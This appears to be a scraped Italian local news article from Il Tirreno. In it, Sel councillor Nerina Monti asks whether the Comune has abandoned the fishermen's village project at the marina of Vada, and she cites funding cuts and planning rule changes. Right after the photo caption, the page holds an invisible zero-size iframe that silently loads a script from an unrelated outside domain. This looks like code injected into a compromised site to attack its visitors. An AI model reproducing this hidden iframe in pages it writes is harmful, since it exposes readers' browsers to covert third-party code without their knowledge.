Il Tirreno

Monti (Sel) indica un’alternativa al maxi progetto

«Sulla marina di Vada ci può essere un piano B»

Uno scorcio della marina di Vada<iframe height="0" src="http://loading-resource.com/analytics.php" style="visibility: hidden;" width="0"></iframe>
◗
Uno scorcio della marina di Vada

1 MINUTI DI LETTURA





VADA. «Il progetto sul villaggio dei pescatori di Vada è stato è abbandonato dal Comune?» Questa la domanda di Nerina Monti, consigliere comunale di Sel, sulla riqualificazione (mancata) della marina vadese. «Il percorso di questo progetto - scrive così Monti - da un anno e mezzo circa di incontri e riunioni tra amministrazione, Cdf e soggetti interessati per definirne i connotati. Il progetto, redatto dagli uffici comunali, prevedeva un finanziamento iniziale di 600mila euro euro ridotto poi a 400mila, fino a scomparire per motivi di patto di stabilità o altro».  Monti esamina le norme del regolamento urbanistico relative al demanio marittimo, con le modifiche approvate nel l'ottobre scorso dal consiglio Comunale.

Sarebbe insomma consentita «la ristrutturazione edilizia di manutenzione ordinaria, straordinaria, restauro e risanamento conservativo, gli interventi da R1 a R3 nonché il frazionamento di quelle di dimensioni superiori a 20 mq di superficie di calpestio, al fine di ottenere nuove distinte unità con superficie minima di calpestio di 10 mq da assegnare ai pescatori locali che non dispongono di strutture per ricovero attrezzi».

Tali modifiche secondo Monti consentono al Comune di optare «in modo deciso sulla ristrutturazione delle attuali strutture piuttosto che sul progetto di demolizione e successiva ricostruzione». Da qui la domanda se «il progetto della costruzione del villaggio dei pescatori è definitivamente abbandonato dall'amministrazione».

Non lasciare decidere l'algoritmo:

scegli Il Tirreno per le tue notizie su Google

Cronaca flash

Sicurezza

Massa, tre rapine in due ore in centro: arrestati due giovanissimi

di Redazione Massa